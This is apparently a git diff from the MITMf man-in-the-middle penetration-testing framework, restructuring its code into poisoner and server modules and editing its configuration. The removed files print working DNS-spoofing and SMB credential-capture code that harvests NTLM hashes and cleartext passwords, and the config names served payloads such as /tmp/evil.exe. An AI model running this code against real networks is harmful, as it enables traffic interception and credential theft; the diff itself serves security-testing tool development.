diff --git a/config/mitmf.conf b/config/mitmf.conf
index d8bbaab..a88004b 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -1,16 +1,10 @@
#
-#MITMf configuration file
+# MITMf configuration file
#
[MITMf]
- #
- #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
- #(assuming you config file is in the default directory)
- #
- args=''
-
- #Required BeEF and Metasploit options
+ # Required BeEF and Metasploit options
[[BeEF]]
beefip = 127.0.0.1
beefport = 3000
@@ -19,7 +13,7 @@
[[Metasploit]]
- msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
+ msfport = 8080 # Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1
rpcport = 55552
rpcpass = abc123
@@ -27,30 +21,80 @@
[[SMB]]
#
- #Here you can configure MITMf's internal SMB server
+ # Here you can configure MITMf's internal SMB server
#
- #Set a custom challenge
+ port = 445
+ type = normal # Can be set to Normal or Karma
+
+ # Set a custom challenge
Challenge = 1122334455667788
+ [[[Shares]]] # Only parsed if type = Normal
+
+ #
+ # You can define shares here
+ #
+
+ # [[[[Share1]]]] #Share name
+ # readonly = yes #Be very careful if you set this to no!
+ # path = /tmp #Share path
+
+ # [[[[Share2]]]]
+ # readonly = yes
+ # path = /tmp
+
+ [[[Karma]]] # Only parsed if type = Karma
+
+ #
+ # Here you can configure the Karma-SMB server
+ #
+
+ defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out)
+
+ # exe = /tmp/evil.exe
+ # dll = /tmp/evil.dll
+ # ini = /tmp/desktop.ini
+ # bat = /tmp/evil.bat
+
+ #This is still experimental, don't uncomment pls!
+ #[[HTTP]]
+
+ #
+ # Here you can configure MITMf's internal HTTP server
+ #
+
+ #port = 80
+
+ #[[[Paths]]]
+
+ #
+ # Here you can define the content to deliver
+ #
+
+ # Format is urlpath = filesystem path (urlpath can be a regular expression)
+
+ # ".*" = "/var/www"
+ # "/test" = "/var/www2"
+
[[DNS]]
#
- #Here you can configure MITMf's internal DNS server
+ # Here you can configure MITMf's internal DNS server
#
- tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
- port = 53 #Port to listen on
- ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
+ tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
+ port = 53 # Port to listen on
+ ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!)
#
- #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
- #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
+ # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
+ # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
#
nameservers = 8.8.8.8
[[[A]]] # Queries for IPv4 address records
- *.thesprawls.org=192.0.2.1
+ *.thesprawls.org=192.168.178.27
[[[AAAA]]] # Queries for IPv6 address records
*.thesprawl.org=2001:db8::1
@@ -86,7 +130,7 @@
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
#
-#Plugin configuration starts here
+# Plugin configuration starts here
#
[Spoof]
diff --git a/core/dnschef/__init__.py b/core/poisoners/__init__.py
similarity index 100%
rename from core/dnschef/__init__.py
rename to core/poisoners/__init__.py
diff --git a/core/protocols/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py
similarity index 100%
rename from core/protocols/arp/ARPWatch.py
rename to core/poisoners/arp/ARPWatch.py
diff --git a/core/protocols/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py
similarity index 100%
rename from core/protocols/arp/ARPpoisoner.py
rename to core/poisoners/arp/ARPpoisoner.py
diff --git a/core/protocols/__init__.py b/core/poisoners/arp/__init__.py
similarity index 100%
rename from core/protocols/__init__.py
rename to core/poisoners/arp/__init__.py
diff --git a/core/protocols/dhcp/DHCPServer.py b/core/poisoners/dhcp/DHCPpoisoner.py
similarity index 99%
rename from core/protocols/dhcp/DHCPServer.py
rename to core/poisoners/dhcp/DHCPpoisoner.py
index 80ab8c6..aa23cc8 100644
--- a/core/protocols/dhcp/DHCPServer.py
+++ b/core/poisoners/dhcp/DHCPpoisoner.py
@@ -8,7 +8,7 @@ from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
-class DHCPServer():
+class DHCPpoisoner():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
diff --git a/core/protocols/arp/__init__.py b/core/poisoners/dhcp/__init__.py
similarity index 100%
rename from core/protocols/arp/__init__.py
rename to core/poisoners/dhcp/__init__.py
diff --git a/core/protocols/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py
similarity index 100%
rename from core/protocols/icmp/ICMPpoisoner.py
rename to core/poisoners/icmp/ICMPpoisoner.py
diff --git a/core/protocols/dhcp/__init__.py b/core/poisoners/icmp/__init__.py
similarity index 100%
rename from core/protocols/dhcp/__init__.py
rename to core/poisoners/icmp/__init__.py
diff --git a/core/protocols/dns/DNSServer.py b/core/protocols/dns/DNSServer.py
deleted file mode 100644
index 19ecd81..0000000
--- a/core/protocols/dns/DNSServer.py
+++ /dev/null
@@ -1,101 +0,0 @@
-##################################################################################
-#DNS Stuff starts here(not Used)
-##################################################################################
-
-#Function name self-explanatory
-
-class DNSServer():
-
- def serve_thread_udp(host, port, handler):
- try:
- server = ThreadingUDPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
-
- def start(DNS_On_Off):
- if DNS_On_Off == "ON":
- t1 = threading.Thread(name="DNS", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNS))
- t2 = threading.Thread(name="DNSTCP", target=self.serve_thread_udp, args=("0.0.0.0", 53,DNSTCP))
- for t in [t1, t2]:
- t.setDaemon(True)
- t.start()
-
- if DNS_On_Off == "OFF":
- return False
-
-class ThreadingUDPServer(ThreadingMixIn, UDPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- UDPServer.server_bind(self)
-
-def ParseDNSType(data):
- QueryTypeClass = data[len(data)-4:]
- if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
- return True
- else:
- return False
-
-#DNS Answer packet.
-class DNSAns(Packet):
- fields = OrderedDict([
- ("Tid", ""),
- ("Flags", "\x80\x10"),
- ("Question", "\x00\x01"),
- ("AnswerRRS", "\x00\x01"),
- ("AuthorityRRS", "\x00\x00"),
- ("AdditionalRRS", "\x00\x00"),
- ("QuestionName", ""),
- ("QuestionNameNull", "\x00"),
- ("Type", "\x00\x01"),
- ("Class", "\x00\x01"),
- ("AnswerPointer", "\xc0\x0c"),
- ("Type1", "\x00\x01"),
- ("Class1", "\x00\x01"),
- ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
- ("IPLen", "\x00\x04"),
- ("IP", "\x00\x00\x00\x00"),
- ])
-
- def calculate(self,data):
- self.fields["Tid"] = data[0:2]
- self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
- self.fields["IP"] = inet_aton(OURIP)
- self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
-
-# DNS Server class.
-class DNS(BaseRequestHandler):
-
- def handle(self):
- data, soc = self.request
- if self.client_address[0] == "127.0.0.1":
- pass
- elif ParseDNSType(data):
- buff = DNSAns()
- buff.calculate(data)
- soc.sendto(str(buff), self.client_address)
- #print "DNS Answer sent to: %s "%(self.client_address[0])
- responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
-
-class DNSTCP(BaseRequestHandler):
-
- def handle(self):
- try:
- data = self.request.recv(1024)
- if self.client_address[0] == "127.0.0.1":
- pass
- elif ParseDNSType(data):
- buff = DNSAns()
- buff.calculate(data)
- self.request.send(str(buff))
- #print "DNS Answer sent to: %s "%(self.client_address[0])
- responder_logger.info('DNS Answer sent to: %s'%(self.client_address[0]))
-
- except Exception:
- pass
-
-##################################################################################
-#DNS Stuff ends here (not Used)
-##################################################################################
\ No newline at end of file
diff --git a/core/protocols/dns/DNSnfqueue.py b/core/protocols/dns/DNSnfqueue.py
deleted file mode 100644
index ec1b255..0000000
--- a/core/protocols/dns/DNSnfqueue.py
+++ /dev/null
@@ -1,130 +0,0 @@
-
-class DNSnfqueue():
-
- hsts = False
- dns = False
- hstscfg = None
- dnscfg = None
- _instance = None
- nfqueue = None
- queue_number = 0
-
- def __init__(self):
- self.nfqueue = NetfilterQueue()
- t = threading.Thread(name='nfqueue', target=self.bind, args=())
- t.setDaemon(True)
- t.start()
-
- @staticmethod
- def getInstance():
- if _DNS._instance is None:
- _DNS._instance = _DNS()
-
- return _DNS._instance
-
- @staticmethod
- def checkInstance():
- if _DNS._instance is None:
- return False
- else:
- return True
-
- def bind(self):
- self.nfqueue.bind(self.queue_number, self.callback)
- self.nfqueue.run()
-
- def stop(self):
- try:
- self.nfqueue.unbind()
- except:
- pass
-
- def enableHSTS(self, config):
- self.hsts = True
- self.hstscfg = config
-
- def enableDNS(self, config):
- self.dns = True
- self.dnscfg = config
-
- def resolve_domain(self, domain):
- try:
- mitmf_logger.debug("Resolving -> %s" % domain)
- answer = dns.resolver.query(domain, 'A')
- real_ips = []
- for rdata in answer:
- real_ips.append(rdata.address)
-
- if len(real_ips) > 0:
- return real_ips
-
- except Exception:
- mitmf_logger.info("Error resolving " + domain)
-
- def callback(self, payload):
- try:
- #mitmf_logger.debug(payload)
- pkt = IP(payload.get_payload())
-
- if not pkt.haslayer(DNSQR):
- payload.accept()
- return
-
- if pkt.haslayer(DNSQR):
- mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
- if self.dns:
- for k, v in self.dnscfg.items():
- if k in pkt[DNSQR].qname:
- self.modify_dns(payload, pkt, v)
- return
-
- payload.accept()
-
- elif self.hsts:
- if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
- for k,v in self.hstscfg.items():
- if v == pkt[DNSQR].qname[:-1]:
- ip = self.resolve_domain(k)
- if ip:
- self.modify_dns(payload, pkt, ip)
- return
-
- if 'wwww' in pkt[DNSQR].qname:
- ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
- if ip:
- self.modify_dns(payload, pkt, ip)
- return
-
- if 'web' in pkt[DNSQR].qname:
- ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
- if ip:
- self.modify_dns(payload, pkt, ip)
- return
-
- payload.accept()
-
- except Exception, e:
- print "Exception occurred in nfqueue callback: " + str(e)
-
- def modify_dns(self, payload, pkt, ip):
- try:
- spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
- UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
- DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
-
- if self.hsts:
- spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
- for i in ip:
- spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
- mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
- payload.set_payload(str(spoofed_pkt))
- payload.accept()
-
- if self.dns:
- spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
- mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
- payload.set_payload(str(spoofed_pkt))
- payload.accept()
-
- except Exception, e:
- print "Exception occurred while modifying DNS: " + str(e)
\ No newline at end of file
diff --git a/core/protocols/smb/SMBPackets.py b/core/protocols/smb/SMBPackets.py
deleted file mode 100644
index a1d3fcb..0000000
--- a/core/protocols/smb/SMBPackets.py
+++ /dev/null
@@ -1,475 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-#Calculate total SMB packet len.
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-#Set MID SMB Header field.
-def midcalc(data):
- pack=data[34:36]
- return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
- pack=data[32:34]
- return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
- pack=data[30:32]
- return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
- pack=data[28:30]
- return pack
-
-
-##################################################################################
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-##################################################################################
-#SMB Negotiate Answer LM packet.
-class SMBNegoAnsLM(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x11"),
- ("Dialect", ""),
- ("Securitymode", "\x03"),
- ("MaxMpx", "\x32\x00"),
- ("MaxVc", "\x01\x00"),
- ("Maxbuffsize", "\x04\x41\x00\x00"),
- ("Maxrawbuff", "\x00\x00\x01\x00"),
- ("Sessionkey", "\x00\x00\x00\x00"),
- ("Capabilities", "\xfc\x3e\x01\x00"),
- ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
- ("Srvtimezone", "\x2c\x01"),
- ("Keylength", "\x08"),
- ("Bcc", "\x10\x00"),
- ("Key", ""),
- ("Domain", "SMB"),
- ("DomainNull", "\x00\x00"),
- ("Server", "SMB-TOOLKIT"),
- ("ServerNull", "\x00\x00"),
- ])
-
- def calculate(self):
- ##Convert first..
- self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
- self.fields["Server"] = self.fields["Server"].encode('utf-16le')
- ##Then calculate.
- CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
- self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3)
- self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
- self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
- self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
- self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
- self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
-
- ###### Andxoffset calculation.
- CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
-
- self.fields["Andxoffset"] = struct.pack(" 260:
- SSPIStart = data[79:]
- LMhashLen = struct.unpack(' 260:
- SSPIStart = data[79:]
- LMhashLen = struct.unpack(' 60:
- outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
- NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
- DomainLen = struct.unpack(' 25:
- Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
- responder_logger.info('[+]SMB-NTLMv2 hash captured from :%s'%(client))
- outfile = "./logs/responder/SMB-NTLMv2-Client-"+client+".txt"
- pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
- var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
- Username, Domain = tuple(var)
- Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
- ParseShare(data)
- WriteData(outfile,Writehash, Username+"::"+Domain)
- responder_logger.info('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash))
- if NthashLen == 24:
- responder_logger.info('[+]SMB-NTLMv1 hash captured from :%s'%(client))
- outfile = "./logs/responder/SMB-NTLMv1-Client-"+client+".txt"
- pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
- var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
- Username, Domain = tuple(var)
- writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
- ParseShare(data)
- WriteData(outfile,writehash, Username+"::"+Domain)
- responder_logger.info('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
- responder_logger.info('[+]SMB-NTLMv1 Username:%s'%(Username))
- responder_logger.info('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
- except Exception:
- raise
-
-def IsNT4ClearTxt(data):
- HeadLen = 36
- Flag2 = data[14:16]
- if Flag2 == "\x03\x80":
- SmbData = data[HeadLen+14:]
- WordCount = data[HeadLen]
- ChainedCmdOffset = data[HeadLen+1]
- if ChainedCmdOffset == "\x75":
- PassLen = struct.unpack(' 2:
- Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
- User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
- #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
- responder_logger.info("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
-
-#SMB Server class, NTLMSSP
-class SMB1(BaseRequestHandler):
-
- def handle(self):
- try:
- while True:
- data = self.request.recv(1024)
- self.request.settimeout(1)
- ##session request 139
- if data[0] == "\x81":
- buffer0 = "\x82\x00\x00\x00"
- self.request.send(buffer0)
- data = self.request.recv(1024)
- ##Negotiate proto answer.
- if data[8:10] == "\x72\x00":
- #Customize SMB answer.
- head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
- t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
- t.calculate()
- final = t
- packet0 = str(head)+str(final)
- buffer0 = longueur(packet0)+packet0
- self.request.send(buffer0)
- data = self.request.recv(1024)
- ##Session Setup AndX Request
- if data[8:10] == "\x73\x00":
- IsNT4ClearTxt(data)
- head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
- t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
- t.calculate()
- final = t
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(4096)
- if data[8:10] == "\x73\x00":
- if Is_Anonymous(data):
- head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
- final = SMBSessEmpty()
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- else:
- ParseSMBHash(data,self.client_address[0])
- head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- final = SMBSession2Accept()
- final.calculate()
- packet2 = str(head)+str(final)
- buffer2 = longueur(packet2)+packet2
- self.request.send(buffer2)
- data = self.request.recv(1024)
- ##Tree Connect IPC Answer
- if data[8:10] == "\x75\x00":
- ParseShare(data)
- head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
- t = SMBTreeData()
- t.calculate()
- final = t
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
- ##Tree Disconnect.
- if data[8:10] == "\x71\x00":
- head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- final = "\x00\x00\x00"
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
- ##NT_CREATE Access Denied.
- if data[8:10] == "\xa2\x00":
- head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- final = "\x00\x00\x00"
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
- ##Trans2 Access Denied.
- if data[8:10] == "\x25\x00":
- head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- final = "\x00\x00\x00"
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
- ##LogOff.
- if data[8:10] == "\x74\x00":
- head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- final = "\x02\xff\x00\x27\x00\x00\x00"
- packet1 = str(head)+str(final)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
-
- except Exception:
- pass #no need to print errors..
-
-#SMB Server class, old version.
-class SMB1LM(BaseRequestHandler):
-
- def handle(self):
- try:
- self.request.settimeout(0.5)
- data = self.request.recv(1024)
- ##session request 139
- if data[0] == "\x81":
- buffer0 = "\x82\x00\x00\x00"
- self.request.send(buffer0)
- data = self.request.recv(1024)
- ##Negotiate proto answer.
- if data[8:10] == "\x72\x00":
- head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
- t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
- t.calculate()
- packet1 = str(head)+str(t)
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
- ##Session Setup AndX Request
- if data[8:10] == "\x73\x00":
- if Is_LMNT_Anonymous(data):
- head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- packet1 = str(head)+str(SMBSessEmpty())
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- else:
- ParseLMNTHash(data,self.client_address[0])
- head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
- packet1 = str(head)+str(SMBSessEmpty())
- buffer1 = longueur(packet1)+packet1
- self.request.send(buffer1)
- data = self.request.recv(1024)
-
- except Exception:
- self.request.close()
- pass
\ No newline at end of file
diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py
deleted file mode 100644
index d413926..0000000
--- a/core/protocols/smb/SMBserver.py
+++ /dev/null
@@ -1,81 +0,0 @@
-import logging
-import sys
-import threading
-from socket import error as socketerror
-from impacket import version, smbserver, LOG
-from core.configwatcher import ConfigWatcher
-from core.utils import shutdown
-
-LOG.setLevel(logging.INFO)
-LOG.propagate = False
-logging.getLogger('smbserver').setLevel(logging.INFO)
-logging.getLogger('impacket').setLevel(logging.INFO)
-
-formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-fileHandler = logging.FileHandler("./logs/mitmf.log")
-streamHandler = logging.StreamHandler(sys.stdout)
-fileHandler.setFormatter(formatter)
-streamHandler.setFormatter(formatter)
-LOG.addHandler(fileHandler)
-LOG.addHandler(streamHandler)
-
-class SMBserver(ConfigWatcher):
-
- impacket_ver = version.VER_MINOR
-
- def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
-
- try:
- self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
- self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
- except socketerror as e:
- if "Address already in use" in e:
- shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
-
- def start(self):
- t = threading.Thread(name='SMBserver', target=self.server.start)
- t.setDaemon(True)
- t.start()
-
-"""
-class SMBserver(Thread):
- def __init__(self):
- Thread.__init__(self)
-
- def run(self):
- # Here we write a mini config for the server
- smbConfig = ConfigParser.ConfigParser()
- smbConfig.add_section('global')
- smbConfig.set('global','server_name','server_name')
- smbConfig.set('global','server_os','UNIX')
- smbConfig.set('global','server_domain','WORKGROUP')
- smbConfig.set('global','log_file', 'None')
- smbConfig.set('global','credentials_file','')
-
- # Let's add a dummy share
- #smbConfig.add_section(DUMMY_SHARE)
- #smbConfig.set(DUMMY_SHARE,'comment','')
- #smbConfig.set(DUMMY_SHARE,'read only','no')
- #smbConfig.set(DUMMY_SHARE,'share type','0')
- #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
-
- # IPC always needed
- smbConfig.add_section('IPC$')
- smbConfig.set('IPC$','comment','')
- smbConfig.set('IPC$','read only','yes')
- smbConfig.set('IPC$','share type','3')
- smbConfig.set('IPC$','path')
-
- self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
-
- self.smb.processConfigFile()
- try:
- self.smb.serve_forever()
- except:
- pass
-
- def stop(self):
- self.smb.socket.close()
- self.smb.server_close()
- self._Thread__stop()
-"""
\ No newline at end of file
diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py
index d9175a3..4a8a509 100644
--- a/core/sergioproxy/ProxyPlugins.py
+++ b/core/sergioproxy/ProxyPlugins.py
@@ -44,7 +44,12 @@ class ProxyPlugins:
_instance = None
plist = []
- mthdDict = {"connectionMade": "clientRequest", "handleResponse": "serverResponse", "handleHeader": "serverHeaders", "handleEndHeaders":"serverHeaders"}
+ mthdDict = {"connectionMade": "clientRequest",
+ "handleStatus": "serverResponseStatus",
+ "handleResponse": "serverResponse",
+ "handleHeader": "serverHeaders",
+ "handleEndHeaders":"serverHeaders"}
+
pmthds = {}
@staticmethod
diff --git a/core/protocols/dns/__init__.py b/core/servers/__init__.py
similarity index 100%
rename from core/protocols/dns/__init__.py
rename to core/servers/__init__.py
diff --git a/core/dnschef/CHANGELOG b/core/servers/dns/CHANGELOG
similarity index 100%
rename from core/dnschef/CHANGELOG
rename to core/servers/dns/CHANGELOG
diff --git a/core/dnschef/DNSchef.py b/core/servers/dns/DNSchef.py
similarity index 100%
rename from core/dnschef/DNSchef.py
rename to core/servers/dns/DNSchef.py
diff --git a/core/dnschef/LICENSE b/core/servers/dns/LICENSE
similarity index 100%
rename from core/dnschef/LICENSE
rename to core/servers/dns/LICENSE
diff --git a/core/dnschef/README.md b/core/servers/dns/README.md
similarity index 100%
rename from core/dnschef/README.md
rename to core/servers/dns/README.md
diff --git a/core/protocols/icmp/__init__.py b/core/servers/dns/__init__.py
similarity index 100%
rename from core/protocols/icmp/__init__.py
rename to core/servers/dns/__init__.py
diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py
new file mode 100644
index 0000000..054975e
--- /dev/null
+++ b/core/servers/http/HTTPServer.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python2.7
+
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
